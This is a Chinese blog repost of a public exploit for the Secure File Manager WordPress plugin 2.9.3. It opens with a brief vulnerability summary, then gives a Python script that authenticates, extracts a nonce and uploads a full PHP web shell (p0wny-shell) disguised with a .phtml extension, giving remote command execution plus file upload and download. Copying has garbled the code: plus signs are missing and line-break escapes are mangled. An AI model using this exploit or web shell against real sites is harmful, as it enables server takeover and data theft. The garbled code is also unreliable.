安全文件管理器 Wordpress 插件 V 2.9.3 - 远程代码执行

2022-01-20 09:52:32 浏览数 (1)

安全文件管理器 0day

描述:

在安全文件管理器 Wordpress 插件 V 2.9.3 和可能之前,经过身份验证的用户可以通过更改内容类型并将 .php 重命名为扩展名为 .phtml 来上传 php 文件

漏洞描述:

  • 日期:10.07.2021
  • 漏洞利用作者:Ron Jost (Hacker5preme)
  • 供应商主页:https ://themexa.com/secure-file-manager-pro/
  • 软件链接:https ://downloads.wordpress.org/plugin/secure-file-manager.zip
  • 版本:所有版本
  • 测试:Ubuntu 18.04
  • CWE:CWE-434
  • Ron Jost 发现的漏洞

代码语言:javascript复制
import requests
import argparse
import json


'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Secure File Manager - RCE (Authenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
print('[*] Starting Exploit:')
print('')


'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://'   target_ip   ':'   target_port   wp_path   'wp-login.php'

# Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
    'Accept': 'text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://'   target_ip,
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

# Body:
body = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'testcookie': '1'
}

# Authenticate:
print('')
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
    print('[ ] Authentication successfull !')
else:
    print('[-] Authentication failed !')
    exit()


'''
Retrieve wpnonce
'''
check_nonce_url = "http://"   target_ip   ':'   target_port   wp_path   'wp-admin/admin.php?page=sfm_file_manager'
header = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
    "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://"   target_ip,
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1"
}
nonce_text = session.get(check_nonce_url, headers=header).text
nonce_text = nonce_text[nonce_text.find('"sfmpNonceKey":')   16:]
wp_nonce = nonce_text[:nonce_text.find('"')]
print(wp_nonce)


'''
Exploit:
'''
exploit_url = "http://"   target_ip   ':'   target_port   wp_path   "wp-content/plugins/secure-file-manager//vendor/elfinder/php/connector.minimal.php"
exploit_headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
    "Accept": "*/*",
    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://"   target_ip   wp_path   "p-admin/admin.php?page=sfm_file_manager",
    "Content-Type": "multipart/form-data; boundary=---------------------------331639371531181046941710326893",
    "Origin": "http://192.168.0.38",
    "Connection": "close"
}
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* exploit_data = "-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="reqid"rnrn17a9cc356393rn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="cmd"rnrnuploadrn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="target"rnrnl1_Lwrn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="_wpnonce"rnrn"   wp_nonce   "rn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="upload[]"; filename="shell.phtml"rnContent-Type: application/octet-streamrnrn<?phpnnfunction featureShell($cmd, $cwd) {n    $stdout = array();nn    if (preg_match("/^\s*cd\s*$/", $cmd)) {n        // passn    } elseif (preg_match("/^\s*cd\s (. )\s*(2>&1)?$/", $cmd)) {n        chdir($cwd);n        preg_match("/^\s*cd\s ([^\s] )\s*(2>&1)?$/", $cmd, $match);n        chdir($match[1]);n    } elseif (preg_match("/^\s*download\s [^\s] \s*(2>&1)?$/", $cmd)) {n        chdir($cwd);n        preg_match("/^\s*download\s ([^\s] )\s*(2>&1)?$/", $cmd, $match);n        return featureDownload($match[1]);n    } else {n        chdir($cwd);n        exec($cmd, $stdout);n    }nn    return array(n        "stdout" => $stdout,n        "cwd" => getcwd()n    );n}nnfunction featurePwd() {n    return array("cwd" => getcwd());n}nnfunction featureHint($fileName, $cwd, $type) {n    chdir($cwd);n    if ($type == 'cmd') {n        $cmd = "compgen -c $fileName";n    } else {n        $cmd = "compgen -f $fileName";n    }n    $cmd = "/bin/bash -c \"$cmd\"";n    $files = explode("\n", shell_exec($cmd));n    return array(n        'files' => $files,n    );n}nnfunction featureDownload($filePath) {n    $file = @file_get_contents($filePath);n    if ($file === FALSE) {n        return array(n            'stdout' => array('File not found / no read permission.'),n            'cwd' => getcwd()n        );n    } else {n        return array(n            'name' => basename($filePath),n            'file' => base64_encode($file)n        );n    }n}nnfunction featureUpload($path, $file, $cwd) {n    chdir($cwd);n    $f = @fopen($path, 'wb');n    if ($f === FALSE) {n        return array(n            'stdout' => array('Invalid path / no write permission.'),n            'cwd' => getcwd()n        );n    } else {n        fwrite($f, base64_decode($file));n        fclose($f);n        return array(n            'stdout' => array('Done.'),n            'cwd' => getcwd()n        );n    }n}nnif (isset($_GET["feature"])) {nn    $response = NULL;nn    switch ($_GET["feature"]) {n        case "shell":n            $cmd = $_POST['cmd'];n            if (!preg_match('/2>/', $cmd)) {n                $cmd .= ' 2>&1';n            }n            $response = featureShell($cmd, $_POST["cwd"]);n            break;n        case "pwd":n            $response = featurePwd();n            break;n        case "hint":n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);n            break;n        case 'upload':n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);n    }nn    header("Content-Type: application/json");n    echo json_encode($response);n    die();n}nn?><!DOCTYPE html>nn<html>nn    <head>n        <meta charset="UTF-8" />n        <title>p0wny@shell:~#</title>n        <meta name="viewport" content="width=device-width, initial-scale=1.0" />n        <style>n            html, body {n                margin: 0;n                padding: 0;n                background: #333;n                color: #eee;n                font-family: monospace;n            }nn            *::-webkit-scrollbar-track {n                border-radius: 8px;n                background-color: #353535;n            }nn            *::-webkit-scrollbar {n                width: 8px;n                height: 8px;n            }nn            *::-webkit-scrollbar-thumb {n                border-radius: 8px;n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);n                background-color: #bcbcbc;n            }nn            #shell {n                background: #222;n                max-width: 800px;n                margin: 50px auto 0 auto;n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);n                font-size: 10pt;n                display: flex;n                flex-direction: column;n                align-items: stretch;n            }nn            #shell-content {n                height: 500px;n                overflow: auto;n                padding: 5px;n                white-space: pre-wrap;n                flex-grow: 1;n            }nn            #shell-logo {n                font-weight: bold;n                color: #FF4180;n                text-align: center;n            }nn            @media (max-width: 991px) {n                #shell-logo {n                    font-size: 6px;n                    margin: -25px 0;n                }nn                html, body, #shell {n                    height: 100%;n                    width: 100%;n                    max-width: none;n                }nn                #shell {n                    margin-top: 0;n                }n            }nn            @media (max-width: 767px) {n                #shell-input {n                    flex-direction: column;n                }n            }nn            @media (max-width: 320px) {n                #shell-logo {n                    font-size: 5px;n                }n            }nn            .shell-prompt {n                font-weight: bold;n                color: #75DF0B;n            }nn            .shell-prompt > span {n                color: #1BC9E7;n            }nn            #shell-input {n                display: flex;n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);n                border-top: rgba(255, 255, 255, .05) solid 1px;n            }nn            #shell-input > label {n                flex-grow: 0;n                display: block;n                padding: 0 5px;n                height: 30px;n                line-height: 30px;n            }nn            #shell-input #shell-cmd {n                height: 30px;n                line-height: 30px;n                border: none;n                background: transparent;n                color: #eee;n                font-family: monospace;n                font-size: 10pt;n                width: 100%;n                align-self: center;n            }nn            #shell-input div {n                flex-grow: 1;n                align-items: stretch;n            }nn            #shell-input input {n                outline: none;n            }n        </style>nn        <script>n            var CWD = null;n            var commandHistory = [];n            var historyPosition = 0;n            var eShellCmdInput = null;n            var eShellContent = null;nn            function _insertCommand(command) {n                eShellContent.innerHTML  = "\n\n";n                eShellContent.innerHTML  = '<span class=\"shell-prompt\">'   genPrompt(CWD)   '</span> ';n                eShellContent.innerHTML  = escapeHtml(command);n                eShellContent.innerHTML  = "\n";n                eShellContent.scrollTop = eShellContent.scrollHeight;n            }nn            function _insertStdout(stdout) {n                eShellContent.innerHTML  = escapeHtml(stdout);n                eShellContent.scrollTop = eShellContent.scrollHeight;n            }nn            function _defer(callback) {n                setTimeout(callback, 0);n            }nn            function featureShell(command) {nn                _insertCommand(command);n                if (/^\s*upload\s [^\s] \s*$/.test(command)) {n                    featureUpload(command.match(/^\s*upload\s ([^\s] )\s*$/)[1]);n                } else if (/^\s*clear\s*$/.test(command)) {n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffern                    eShellContent.innerHTML = '';n                } else {n                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {n                        if (response.hasOwnProperty('file')) {n                            featureDownload(response.name, response.file)n                        } else {n                            _insertStdout(response.stdout.join("\n"));n                            updateCwd(response.cwd);n                        }n                    });n                }n            }nn            function featureHint() {n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to completenn                function _requestCallback(data) {n                    if (data.files.length <= 1) return;  // no completionnn                    if (data.files.length === 2) {n                        if (type === 'cmd') {n                            eShellCmdInput.value = data.files[0];n                        } else {n                            var currentValue = eShellCmdInput.value;n                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);n                        }n                    } else {n                        _insertCommand(eShellCmdInput.value);n                        _insertStdout(data.files.join("\n"));n                    }n                }nn                var currentCmd = eShellCmdInput.value.split(" ");n                var type = (currentCmd.length === 1) ? "cmd" : "file";n                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];nn                makeRequest(n                    "?feature=hint",n                    {n                        filename: fileName,n                        cwd: CWD,n                        type: typen                    },n                    _requestCallbackn                );nn            }nn            function featureDownload(name, file) {n                var element = document.createElement('a');n                element.setAttribute('href', 'data:application/octet-stream;base64,'   file);n                element.setAttribute('download', name);n                element.style.display = 'none';n                document.body.appendChild(element);n                element.click();n                document.body.removeChild(element);n                _insertStdout('Done.');n            }nn            function featureUpload(path) {n                var element = document.createElement('input');n                element.setAttribute('type', 'file');n                element.style.display = 'none';n                document.body.appendChild(element);n                element.addEventListener('change', function () {n                    var promise = getBase64(element.files[0]);n                    promise.then(function (file) {n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {n                            _insertStdout(response.stdout.join("\n"));n                            updateCwd(response.cwd);n                        });n                    }, function () {n                        _insertStdout('An unknown client-side error occurred.');n                    });n                });n                element.click();n                document.body.removeChild(element);n            }nn            function getBase64(file, onLoadCallback) {n                return new Promise(function(resolve, reject) {n                    var reader = new FileReader();n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };n                    reader.onerror = reject;n                    reader.readAsDataURL(file);n                });n            }nn            function genPrompt(cwd) {n                cwd = cwd || "~";n                var shortCwd = cwd;n                if (cwd.split("/").length > 3) {n                    var splittedCwd = cwd.split("/");n                    shortCwd = "xe2x80xa6/"   splittedCwd[splittedCwd.length-2]   "/"   splittedCwd[splittedCwd.length-1];n                }n                return "p0wny@shell:<span title=\""   cwd   "\">"   shortCwd   "</span>#";n            }nn            function updateCwd(cwd) {n                if (cwd) {n                    CWD = cwd;n                    _updatePrompt();n                    return;n                }n                makeRequest("?feature=pwd", {}, function(response) {n                    CWD = response.cwd;n                    _updatePrompt();n                });nn            }nn            function escapeHtml(string) {n                return stringn                    .replace(/&/g, "&amp;")n                    .replace(/</g, "&lt;")n                    .replace(/>/g, "&gt;");n            }nn            function _updatePrompt() {n                var eShellPrompt = document.getElementById("shell-prompt");n                eShellPrompt.innerHTML = genPrompt(CWD);n            }nn            function _onShellCmdKeyDown(event) {n                switch (event.key) {n                    case "Enter":n                        featureShell(eShellCmdInput.value);n                        insertToHistory(eShellCmdInput.value);n                        eShellCmdInput.value = "";n                        break;n                    case "ArrowUp":n                        if (historyPosition > 0) {n                            historyPosition--;n                            eShellCmdInput.blur();n                            eShellCmdInput.value = commandHistory[historyPosition];n                            _defer(function() {n                                eShellCmdInput.focus();n                            });n                        }n                        break;n                    case "ArrowDown":n                        if (historyPosition >= commandHistory.length) {n                            break;n                        }n                        historyPosition  ;n                        if (historyPosition === commandHistory.length) {n                            eShellCmdInput.value = "";n                        } else {n                            eShellCmdInput.blur();n                            eShellCmdInput.focus();n                            eShellCmdInput.value = commandHistory[historyPosition];n                        }n                        break;n                    case 'Tab':n                        event.preventDefault();n                        featureHint();n                        break;n                }n            }nn            function insertToHistory(cmd) {n                commandHistory.push(cmd);n                historyPosition = commandHistory.length;n            }nn            function makeRequest(url, params, callback) {n                function getQueryString() {n                    var a = [];n                    for (var key in params) {n                        if (params.hasOwnProperty(key)) {n                            a.push(encodeURIComponent(key)   "="   encodeURIComponent(params[key]));n                        }n                    }n                    return a.join("&");n                }n                var xhr = new XMLHttpRequest();n                xhr.open("POST", url, true);n                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");n                xhr.onreadystatechange = function() {n                    if (xhr.readyState === 4 && xhr.status === 200) {n                        try {n                            var responseJson = JSON.parse(xhr.responseText);n                            callback(responseJson);n                        } catch (error) {n                            alert("Error while parsing response: "   error);n                        }n                    }n                };n                xhr.send(getQueryString());n            }nn            document.onclick = function(event) {n                event = event || window.event;n                var selection = window.getSelection();n                var target = event.target || event.srcElement;nn                if (target.tagName === "SELECT") {n                    return;n                }nn                if (!selection.toString()) {n                    eShellCmdInput.focus();n                }n            };nn            window.onload = function() {n                eShellCmdInput = document.getElementById("shell-cmd");n                eShellContent = document.getElementById("shell-content");n                updateCwd();n                eShellCmdInput.focus();n            };n        </script>n    </head>nn    <body>n        <div id="shell">n            <pre id="shell-content">n                <div id="shell-logo">n        ___                         ____      _          _ _        _  _   <span></span>n _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>n| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>n| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>n| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>n|_|                         |___/  \____/                                  <span></span>n                </div>n            </pre>n            <div id="shell-input">n                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>n                <div>n                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>n                </div>n            </div>n        </div>n    </body>nn</html>nrn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="mtime[]"rnrn1621978291rn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="upload_path[]"rnrnl1_Lwrn-----------------------------331639371531181046941710326893rnContent-Disposition: form-data; name="dropWith"rnrn0rn-----------------------------331639371531181046941710326893--rn"
*/
x = session.post(exploit_url, headers=exploit_headers, data=exploit_data)
print(x.text)
print('')
print('[ ] Shell uploaded to: http://'   target_ip   ':'   target_port   wp_path   '/shell.phtml')

0 人点赞